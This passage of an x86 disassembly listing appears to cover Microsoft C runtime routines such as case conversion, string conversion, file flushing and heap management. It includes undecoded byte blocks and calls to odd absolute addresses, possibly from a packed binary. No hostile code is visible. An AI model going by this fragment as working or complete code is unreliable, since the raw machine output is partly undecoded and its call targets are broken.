		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB9E4
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB9E4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBB4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9A8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBB4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9A8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB9E4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBB4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9A8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB9E4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB9E4, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB9F4
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2830047h
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB928, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9A8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB9F4
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB9E4, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB9F4
		nop
		call	near ptr 29D0000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 44h
		dd 0E871B5EBh, 6DB31E34h, 1648A8EDh, 0A1642E1Ah, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 28E890E8h, 33026241h, 89D48AD2h
		dd 4DB94015h, 81C88B00h, 0FFE1h, 3C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9380D89h, 0E8C1004Dh, 0B934A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 6240BBE8h, 0CFCCA302h,	19E8004Dh
		dd 0A3000058h, 4DB998h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2622628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2C3BE856h, 50900241h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9A0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A970
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9A0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCD80
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 28005AFh
		test	eax, eax
		jnz	short loc_41DAEB
		call	near ptr 2830047h
		nop
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC60, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC48
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC60
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2830635h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2A50000h
		nop
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2810000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 642217E8h
		dd 0A3C08502h, 4DCFC4h,	93E83674h, 83FFFFFEh, 0C8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFC435FFh, 0E890004Dh
		dd 2632F79h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DCFC4h
		dd 21BEE890h, 0C0850254h, 4DCFBCA3h, 0C3017500h, 4244C8Bh
		dd 0CFB42583h, 8300004Dh, 4DCFB825h, 16A0000h, 4DCFB0A3h
		dd 0C00D8900h, 0C7004DCFh, 4DCFA805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFB8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFBC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
